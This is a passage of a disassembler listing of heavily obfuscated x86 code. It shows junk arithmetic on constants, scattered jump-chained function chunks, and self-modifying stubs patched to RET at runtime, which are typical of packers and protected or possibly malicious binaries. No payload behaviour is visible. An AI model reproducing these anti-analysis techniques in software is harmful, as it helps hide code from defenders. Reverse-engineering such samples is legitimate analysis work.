		ror	eax, 7
		jmp	loc_440A97
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------

loc_43B6BD:				; CODE XREF: dviuq5id:00457D04j
		jnb	loc_43CE5E

; =============== S U B	R O U T	I N E =======================================



sub_43B6C3	proc near		; CODE XREF: dviuq5id:004584A3p

; FUNCTION CHUNK AT 0043F99E SIZE 0000001E BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	22C40C1Ch
		jmp	loc_43F99E
sub_43B6C3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_43B6D1:				; CODE XREF: sub_43BD72:loc_43A07Cj
		xor	esi, 20D990D0h
		add	esi, 0D6133F0Eh
		and	esi, 5A356D89h
		test	esi, 40h
		jmp	loc_43B3C5
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EFB

loc_43B6EE:				; CODE XREF: sub_448EFB+1Dj
		mov	eax, edx
		call	sub_454AAA
		push	offset loc_4518F6
		jmp	loc_439662
; END OF FUNCTION CHUNK	FOR sub_448EFB
; ---------------------------------------------------------------------------

loc_43B6FF:				; CODE XREF: dviuq5id:00440B00j
		pop	edx
		and	edx, 0D04C0757h
		add	edx, 0F044F76Ah
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_43C43F
		jmp	loc_43E543
; ---------------------------------------------------------------------------

loc_43B71B:				; CODE XREF: dviuq5id:loc_44D35Cj
		rol	eax, 17h
		and	eax, 46A95646h
		jns	loc_450385
		jnp	loc_43D18C
		and	ebx, 4E3C67A2h
		jmp	loc_45037D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_43B73B:				; CODE XREF: sub_439E87+E20Ej
					; DATA XREF: sub_43A245+3B80o
		mov	eax, [ebp+8]
		test	byte ptr [eax-8], 80h
		jz	loc_446929
		inc	dword ptr [ebp-8]

loc_43B74B:				; CODE XREF: sub_439E87+1437Aj
					; sub_439E87:loc_454DC1j
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		pop	ebp
		jmp	nullsub_364
; END OF FUNCTION CHUNK	FOR sub_439E87
; ---------------------------------------------------------------------------
		add	ebp, eax
		sbb	ebp, 7B81A7EDh
		jmp	sub_43E421
; ---------------------------------------------------------------------------

loc_43B763:				; DATA XREF: sub_44FFE1+12o
		mov	edx, [ebp-8]
		call	sub_44957C
; START	OF FUNCTION CHUNK FOR sub_44CDB6

loc_43B76B:				; CODE XREF: sub_44CDB6+4j
		jmp	loc_451CFF
; END OF FUNCTION CHUNK	FOR sub_44CDB6
; ---------------------------------------------------------------------------

loc_43B770:				; CODE XREF: dviuq5id:0044278Bj
		jmp	loc_43DD3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394E7

loc_43B775:				; CODE XREF: sub_4394E7+13j
		jmp	loc_458464
; END OF FUNCTION CHUNK	FOR sub_4394E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FE62

loc_43B77A:				; CODE XREF: sub_44FE62:loc_44ECEEj
		mov	ebp, [esi]
		jmp	loc_453382
; END OF FUNCTION CHUNK	FOR sub_44FE62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45169D

loc_43B781:				; CODE XREF: sub_45169D-116C9j
		pop	eax
		sub	eax, ds:4000FBh
		or	eax, 2CFCA202h
		add	eax, 0A27C261h
		sub	eax, 6C50DF26h
		xor	eax, 7B5DE978h
		add	eax, ebp
		jmp	loc_43B04B
; END OF FUNCTION CHUNK	FOR sub_45169D
; ---------------------------------------------------------------------------

loc_43B7A7:				; CODE XREF: dviuq5id:004426B8j
		jnz	loc_447836
		jmp	loc_44D58C
; ---------------------------------------------------------------------------

loc_43B7B2:				; CODE XREF: dviuq5id:loc_43CCCCj
		pop	esi
		lea	eax, nullsub_469
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_469
; ---------------------------------------------------------------------------
		xchg	eax, [esp]
		mov	edx, eax
		pop	eax
		mov	eax, [esp]
		jmp	loc_4506D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455B3A

loc_43B7CF:				; CODE XREF: sub_455B3A+15j
		sub	ecx, 0B7CEB221h
		call	sub_43F236

loc_43B7DA:				; CODE XREF: sub_4581F1+3j
		jmp	nullsub_305
; END OF FUNCTION CHUNK	FOR sub_455B3A
; ---------------------------------------------------------------------------

loc_43B7DF:				; CODE XREF: dviuq5id:0045567Dj
		jmp	loc_44BB6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AC6E

loc_43B7E4:				; CODE XREF: sub_44AC6E+1Cj
		jmp	loc_44B510
; END OF FUNCTION CHUNK	FOR sub_44AC6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_43B7E9:				; CODE XREF: sub_439013:loc_4591C2j
		jnz	loc_455F8F
		jbe	loc_44856E
		pushf
		jmp	loc_455F89
; END OF FUNCTION CHUNK	FOR sub_439013

; =============== S U B	R O U T	I N E =======================================



sub_43B7FB	proc near		; DATA XREF: dviuq5id:00449B22o
		pop	edx
		push	offset sub_440828
		jmp	loc_456DE0
sub_43B7FB	endp

; ---------------------------------------------------------------------------

loc_43B806:				; CODE XREF: dviuq5id:00447F0Aj
					; dviuq5id:0044CAAFj
		jno	loc_44A683

; =============== S U B	R O U T	I N E =======================================



sub_43B80C	proc near		; CODE XREF: sub_439013+5862p

; FUNCTION CHUNK AT 00446D63 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044ACD7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00452935 SIZE 0000000D BYTES

		xchg	eax, [esp+0]
		pop	eax
		pop	eax
		jnb	loc_44ACD7
		jmp	loc_446D63
sub_43B80C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43B81C:				; CODE XREF: sub_454094-14F6Bj
		sub	eax, esi
; END OF FUNCTION CHUNK	FOR sub_454094
; START	OF FUNCTION CHUNK FOR sub_4404A6

loc_43B81E:				; CODE XREF: sub_4404A6+8j
					; sub_454094:loc_442578j ...
		jmp	loc_444891
; END OF FUNCTION CHUNK	FOR sub_4404A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_43B823:				; CODE XREF: sub_446682-6677j
					; sub_454094-2906j
		pop	ecx
		pop	ebp

locret_43B825:				; CODE XREF: sub_459385:loc_43A6CFj
		retn
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
		add	edx, esi
; START	OF FUNCTION CHUNK FOR sub_45A397

loc_43B828:				; CODE XREF: sub_45A397:loc_43E171j
		sub	edi, eax
		jmp	loc_449C0B
; END OF FUNCTION CHUNK	FOR sub_45A397
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_43B82F:				; CODE XREF: sub_4427AE:loc_44B548j
		xchg	ecx, ebx
		jmp	loc_4525E5
; END OF FUNCTION CHUNK	FOR sub_4427AE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EE8F

loc_43B837:				; CODE XREF: sub_43EE8F+Dj
		jmp	loc_448F86
; END OF FUNCTION CHUNK	FOR sub_43EE8F
; ---------------------------------------------------------------------------

loc_43B83C:				; CODE XREF: dviuq5id:0043EB6Ej
		jmp	loc_457F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4A4

loc_43B841:				; CODE XREF: sub_43E4A4+1BEE0j
		push	932019DFh
		xchg	eax, [esp+4+var_4]
		mov	edx, eax
		pop	eax
		or	edx, 1E2A2FDAh
		xor	edx, 0B5F1DF08h
		jnz	loc_44A934
; END OF FUNCTION CHUNK	FOR sub_43E4A4
; START	OF FUNCTION CHUNK FOR sub_44818A

loc_43B85E:				; CODE XREF: sub_44818A+76F4j
		jmp	loc_43B0CE
; END OF FUNCTION CHUNK	FOR sub_44818A
; ---------------------------------------------------------------------------
		push	0A9D364EFh
		jmp	loc_44A930
; ---------------------------------------------------------------------------

loc_43B86D:				; CODE XREF: dviuq5id:loc_43A289j
		pop	edx
		pop	ebx
		pop	ebx
		pop	eax
		call	sub_448F97
; START	OF FUNCTION CHUNK FOR sub_446A9C

loc_43B876:				; CODE XREF: sub_446A9C+Dj
		jmp	loc_43E138
; END OF FUNCTION CHUNK	FOR sub_446A9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450217

loc_43B87B:				; CODE XREF: sub_450217-15E13j
		jmp	loc_447619
; END OF FUNCTION CHUNK	FOR sub_450217

; =============== S U B	R O U T	I N E =======================================



sub_43B880	proc near		; CODE XREF: dviuq5id:loc_439748p
					; dviuq5id:00448CEDj

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043E511 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043FCEE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044422D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004482AE SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44422D
		jmp	loc_4482AE
sub_43B880	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	eax, esi
		push	ebp
		jmp	sub_4562B4

; =============== S U B	R O U T	I N E =======================================



sub_43B89D	proc near		; CODE XREF: dviuq5id:004487E4j
					; sub_4530E7-6F71p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043F594 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044262A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00444B8B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00445867 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044649D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449BD1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044A3A1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BB79 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452ABB SIZE 00000010 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_440A7F
		cmp	eax, [ebp-8]
		jnz	loc_44262A
		mov	eax, [ebp-14h]
		push	offset loc_43E9D9
		jmp	loc_44BB79
sub_43B89D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44250B

loc_43B8BC:				; CODE XREF: sub_44250B:loc_459626j
		jl	loc_457937
		sbb	edi, esi
		jmp	loc_43C392
; END OF FUNCTION CHUNK	FOR sub_44250B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446DD8

loc_43B8C9:				; CODE XREF: sub_446DD8+A57j
		jnz	loc_450DA1
		jge	loc_44AF58
		cdq
		jmp	loc_44E429
; END OF FUNCTION CHUNK	FOR sub_446DD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C8E3

loc_43B8DB:				; CODE XREF: sub_44C8E3:loc_439FD8j
		mov	esi, edi
		xor	ecx, edx
		jmp	loc_456F7A
; END OF FUNCTION CHUNK	FOR sub_44C8E3
; ---------------------------------------------------------------------------
		pop	edx
		jmp	loc_44CC5D
; ---------------------------------------------------------------------------

loc_43B8EA:				; DATA XREF: sub_4426C3:loc_4392B8o
		mov	esp, ebp
		pop	ebp
		push	1D7030A6h
		pop	eax
		jmp	loc_44A06B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4536AC

loc_43B8F8:				; CODE XREF: sub_4536AC+8j
		mov	[ebp-5], al
; END OF FUNCTION CHUNK	FOR sub_4536AC
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_43B8FB:				; CODE XREF: sub_43FDFB-5B60j
					; sub_43FDFB-3C12j ...
		jnz	loc_441634
		cmp	byte ptr [ebp-5], 0
		jnz	loc_4513D8
		jmp	loc_446924
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD6F

loc_43B910:				; CODE XREF: sub_43DD6F+4D2Dj
					; sub_44A3E1+51D2j
		call	sub_44E3BA
		retn
; END OF FUNCTION CHUNK	FOR sub_43DD6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4547E2

loc_43B916:				; CODE XREF: sub_4547E2-253Bj
		jmp	nullsub_379
; END OF FUNCTION CHUNK	FOR sub_4547E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_43B91B:				; CODE XREF: sub_446682+11j
					; dviuq5id:004485C4j
		jmp	loc_447CEB
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452D9B

loc_43B920:				; CODE XREF: sub_452D9B-195A2j
		jmp	loc_43E5F6
; END OF FUNCTION CHUNK	FOR sub_452D9B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_43B926:				; CODE XREF: sub_43C3D8:loc_4467EDj
		mov	eax, [ebp-0Ch]
		mov	[ebp-1Ch], eax
		lea	eax, [ebp-125h]
		jmp	loc_446104
; END OF FUNCTION CHUNK	FOR sub_43C3D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C710

loc_43B937:				; CODE XREF: sub_43C710:loc_4552D5j
		push	esi
		mov	esi, edi
		xchg	esi, [esp+4+var_4]

loc_43B93D:				; CODE XREF: sub_441DDA:loc_452326j
		mov	edi, edx
		jmp	loc_44CB6C
; END OF FUNCTION CHUNK	FOR sub_43C710
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4483A4

loc_43B944:				; CODE XREF: sub_4483A4:loc_43FCBAj
		or	eax, 0B0D87EB7h
		sub	eax, 8A90C29Eh
		add	eax, 97F6EFFDh
		xchg	eax, [esp+4+var_4]
		jmp	loc_4432D9
; END OF FUNCTION CHUNK	FOR sub_4483A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_43B95E:				; CODE XREF: sub_43C4B5+124ACj
		add	ecx, esi
		pushf
		and	ecx, eax

loc_43B963:				; CODE XREF: sub_43C4B5:loc_4575C8j
		push	eax
		lea	eax, loc_44A57C
		push	ecx
		jmp	loc_43AA84
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------

loc_43B970:				; CODE XREF: dviuq5id:00455B9Aj
		and	eax, 0EF9B447Bh
		add	edi, ebp
		push	8460C872h
		test	ebp, 0E304608Ch
		jmp	loc_45262A
; ---------------------------------------------------------------------------

loc_43B988:				; CODE XREF: dviuq5id:0045376Bj
		jle	loc_44B129
		jnp	loc_450FD1
		xchg	edx, [esp]
		pop	edx
		pop	edx
		jmp	loc_459ABC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B70C

loc_43B99E:				; CODE XREF: sub_44B70C:loc_453836j
		mov	edx, eax
		jmp	loc_443BF7
; END OF FUNCTION CHUNK	FOR sub_44B70C

; =============== S U B	R O U T	I N E =======================================



sub_43B9A5	proc near		; DATA XREF: sub_454117:loc_45507Bo

; FUNCTION CHUNK AT 0043B56E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D962 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441D20 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044BE8B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044FDEB SIZE 00000013 BYTES

		jns	loc_441D20
		call	sub_441DAE
sub_43B9A5	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_456253

loc_43B9B0:				; CODE XREF: sub_456253-3B0Bj
		jmp	loc_43FAEC
; END OF FUNCTION CHUNK	FOR sub_456253
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_43B9B5:				; CODE XREF: sub_440898+C768j
		jmp	loc_44AD86
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_43B9BA:				; CODE XREF: sub_439C09:loc_43EB7Ej
		jnz	loc_4457FB
		jmp	loc_44184A
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
		or	ebp, 2A24D057h
		jmp	sub_444E3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458F2A

loc_43B9D0:				; CODE XREF: sub_458F2A-97B3j
		rol	eax, 0Ah
		add	eax, 2700773Eh
		call	sub_43CCD1
		jmp	loc_44DF7C
; END OF FUNCTION CHUNK	FOR sub_458F2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_43B9E3:				; CODE XREF: sub_43FDFB:loc_44A8EBj
		jmp	loc_44C3FB
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------

loc_43B9E8:				; CODE XREF: dviuq5id:loc_45145Aj
					; dviuq5id:00456608j
		push	edi
		push	0E18FC723h
		pop	edi
		add	edi, 0AD6A5D76h
		jmp	loc_448E19
; ---------------------------------------------------------------------------

loc_43B9FA:				; DATA XREF: sub_454267-3631o
		mov	ds:off_41D118, eax
		lea	eax, sub_459DA3
		mov	byte ptr [eax],	0C3h
		jmp	sub_459DA3

; =============== S U B	R O U T	I N E =======================================



sub_43BA0E	proc near		; CODE XREF: .text:0040CEB8p
					; dviuq5id:0043E2F3j
					; DATA XREF: ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004397DB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D6E0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043D7D8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E303 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043FB78 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00440669 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00441B4D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044248C SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00443EBB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444051 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445E41 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044A7C1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044A9D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D08C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044D6A5 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0044DF5D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044E8B5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044F6D5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450055 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045091B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004548A7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00455C4C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456896 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00457BF1 SIZE 00000013 BYTES

		push	edx
		jmp	loc_44A7C1
sub_43BA0E	endp

; ---------------------------------------------------------------------------

loc_43BA14:				; CODE XREF: dviuq5id:loc_439F70j
		mov	eax, [esp]
		call	sub_44E3BA
		retn
; ---------------------------------------------------------------------------

loc_43BA1D:				; CODE XREF: dviuq5id:0043C1FEj
		ror	eax, 7
		jmp	loc_446097
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4559CE

loc_43BA25:				; CODE XREF: sub_4559CE:loc_45812Aj
		pop	ebx
		add	ebx, ds:4000F7h
		and	ebx, 1B475E9Eh
		xor	ebx, 0ABC4C038h
		add	ebx, 467825DEh
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_456A98
; END OF FUNCTION CHUNK	FOR sub_4559CE
; ---------------------------------------------------------------------------

loc_43BA46:				; CODE XREF: dviuq5id:00443058j
		test	ebx, ebp
		jmp	loc_4593DA
; ---------------------------------------------------------------------------
		or	eax, eax
		jnz	loc_44AAB8
		jmp	loc_442067
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_272. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_43BA5B:				; CODE XREF: sub_44B881+14j
					; sub_44084F:loc_455E57j
		jmp	loc_454F0C
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4551F9

loc_43BA60:				; CODE XREF: sub_4551F9-4148j
		jnz	loc_444EF2
		jmp	loc_455F50
; END OF FUNCTION CHUNK	FOR sub_4551F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_43BA6B:				; CODE XREF: sub_439A5E+34A4j
		jge	loc_450F24

loc_43BA71:				; CODE XREF: dviuq5id:004393ECj
		jmp	sub_445A59
; END OF FUNCTION CHUNK	FOR sub_439A5E
; ---------------------------------------------------------------------------
		sbb	eax, 4A11AB57h
		jmp	loc_450F1E
; ---------------------------------------------------------------------------
		not	ecx
		add	eax, 4D506CCBh
		jmp	sub_440C61
; ---------------------------------------------------------------------------
		test	edx, 7D8E96D3h
		jmp	loc_439B6E
; ---------------------------------------------------------------------------
		or	eax, esi
		jmp	loc_43F401
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4543C5

loc_43BAA0:				; CODE XREF: sub_4543C5:loc_44EDBCj
		jnb	loc_441475
; END OF FUNCTION CHUNK	FOR sub_4543C5
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_43BAA6:				; CODE XREF: sub_442BFE+1175Fj
		jmp	nullsub_230
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------
		sub	esi, ebp
		add	ebp, edx
		jmp	loc_44146D

; =============== S U B	R O U T	I N E =======================================



sub_43BAB4	proc near		; CODE XREF: sub_445498:loc_44F467p
					; dviuq5id:00458EE0j

; FUNCTION CHUNK AT 00440400 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443E02 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044F95F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00458F92 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	dword ptr [ebp-8], 1
		jmp	loc_458F92
sub_43BAB4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43BAC4	proc near		; CODE XREF: sub_440F1B+5p
					; sub_4534AA+5p ...
		jo	sub_4538B3
		jmp	sub_456F1D
sub_43BAC4	endp

; ---------------------------------------------------------------------------

loc_43BACF:				; CODE XREF: dviuq5id:0043E051j
		xchg	ebp, [ebx]
		add	ebx, 97E04904h
		jmp	sub_45A67C
; ---------------------------------------------------------------------------

loc_43BADC:				; CODE XREF: dviuq5id:0044A643j
		mov	ds:dword_41D128, eax
		lea	eax, nullsub_478
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_478
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	eax
		jmp	loc_44F4E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_43BAFA:				; CODE XREF: sub_448424:loc_452918j
		jnz	loc_449BC9
		jmp	loc_454034
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4483A4

loc_43BB05:				; CODE XREF: sub_4483A4-86F0j
					; dviuq5id:0043FCC6j
		sub	esi, 86C8BC39h
		cmp	esi, 0D0E1FB3Ah
		jmp	loc_45491E
; END OF FUNCTION CHUNK	FOR sub_4483A4
; ---------------------------------------------------------------------------

loc_43BB16:				; CODE XREF: dviuq5id:0044D80Ej
		call	sub_453642
		mov	ds:dword_41D144, eax
		lea	eax, nullsub_479
		mov	byte ptr [eax],	0C3h
		jmp	loc_43E847
; ---------------------------------------------------------------------------

loc_43BB2F:				; CODE XREF: dviuq5id:00447C4Dj
		jns	loc_440031
; START	OF FUNCTION CHUNK FOR sub_43EF1D

loc_43BB35:				; CODE XREF: sub_43EF1D:loc_441E52j
		xor	eax, 5E9700E2h
		push	ebx
		pushf
		push	0ED8045CCh
		pop	ebx
		rol	ebx, 3
		add	ebx, 9441D6EBh
		jmp	loc_440549
; END OF FUNCTION CHUNK	FOR sub_43EF1D
; ---------------------------------------------------------------------------
		push	ebp
		jmp	sub_441DAE
; ---------------------------------------------------------------------------

loc_43BB57:				; CODE XREF: dviuq5id:0045745Aj
		jnb	loc_44E667

; =============== S U B	R O U T	I N E =======================================



sub_43BB5D	proc near		; CODE XREF: sub_43D24F+11C3Ap

; FUNCTION CHUNK AT 004450B6 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx

loc_43BB61:				; CODE XREF: sub_4393C3:loc_455C9Dj
		mov	edx, 64EFA9EDh
		call	sub_449EB7
		push	eax
		ror	eax, 5
		mov	ds:dword_441EAC, eax
		jmp	loc_4450B6
sub_43BB5D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43BB7A	proc near		; CODE XREF: dviuq5id:0043C7A5p

; FUNCTION CHUNK AT 004443AF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446178 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044F9D4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045055A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454FDA SIZE 0000001B BYTES

		xchg	esi, [esp+0]
		pop	esi
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44F9DC
		jmp	loc_4443AF
sub_43BB7A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43BB8C:				; CODE XREF: sub_454094:loc_4571B7j
		jp	loc_458DE0

loc_43BB92:				; CODE XREF: sub_440898+12A36j
		shl	edx, 4
		shr	eax, 0Ch
		jmp	loc_4424F6
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451E0A

loc_43BB9D:				; CODE XREF: sub_451E0A+82B8j
		sub	al, 99h
		jmp	loc_43FC99
; END OF FUNCTION CHUNK	FOR sub_451E0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_43BBA4:				; CODE XREF: sub_4440E9-AC5Fj
					; sub_43AEAA+2239j
		sub	ebx, 6581B192h
		pop	ebp

loc_43BBAB:				; CODE XREF: sub_4440E9:loc_4400D0j
		push	0
		push	0
		push	esi
		push	0C9AEC63h
		pop	esi
		rol	esi, 4
		jmp	loc_43A7D6
; END OF FUNCTION CHUNK	FOR sub_43AEAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B168

loc_43BBBE:				; CODE XREF: sub_43B168+182A5j
		mov	ebx, eax
		pop	eax
		mov	ds:dword_4504EC, eax
; END OF FUNCTION CHUNK	FOR sub_43B168
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_43BBC7:				; CODE XREF: sub_44C2F6-7B9Dj
					; sub_4509F7+6j
		jz	loc_43DA37
		jmp	loc_451FA9
; END OF FUNCTION CHUNK	FOR sub_4509F7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_164. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_43BBD3:				; CODE XREF: sub_44A15A-C6D8j
		jmp	loc_448000
; END OF FUNCTION CHUNK	FOR sub_44A15A
; ---------------------------------------------------------------------------
		sub	ebp, esi
		jmp	sub_445437
; ---------------------------------------------------------------------------

loc_43BBDF:				; CODE XREF: dviuq5id:0043E084j
		call	sub_43A101
		or	eax, eax
		jnz	loc_43A6E1
		jmp	loc_43CC19
; ---------------------------------------------------------------------------

loc_43BBF1:				; CODE XREF: dviuq5id:00456553j
		jnp	loc_4530E0

loc_43BBF7:				; CODE XREF: dviuq5id:loc_45209Fj
		add	edi, 0D7F63990h
		xchg	edi, [esp]
		jmp	loc_4488E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ABE0

loc_43BC05:				; CODE XREF: sub_44ABE0:loc_4479D0j
					; dviuq5id:loc_459310j
		jge	loc_449D4C

loc_43BC0B:				; CODE XREF: sub_44122E+144C3j
		jmp	loc_44F883
; END OF FUNCTION CHUNK	FOR sub_44ABE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AD42

loc_43BC10:				; CODE XREF: sub_44AD42-F922j
		jmp	loc_43CB42
; END OF FUNCTION CHUNK	FOR sub_44AD42
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_441052
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BE2

loc_43BC1B:				; CODE XREF: sub_453BE2-BF05j
		pop	eax
		sub	edx, ebp

loc_43BC1E:				; CODE XREF: sub_453BE2:loc_447CD4j
		xor	eax, 41DE1E62h
		add	eax, ebp
		add	eax, 0AA251745h
		call	sub_439C5D

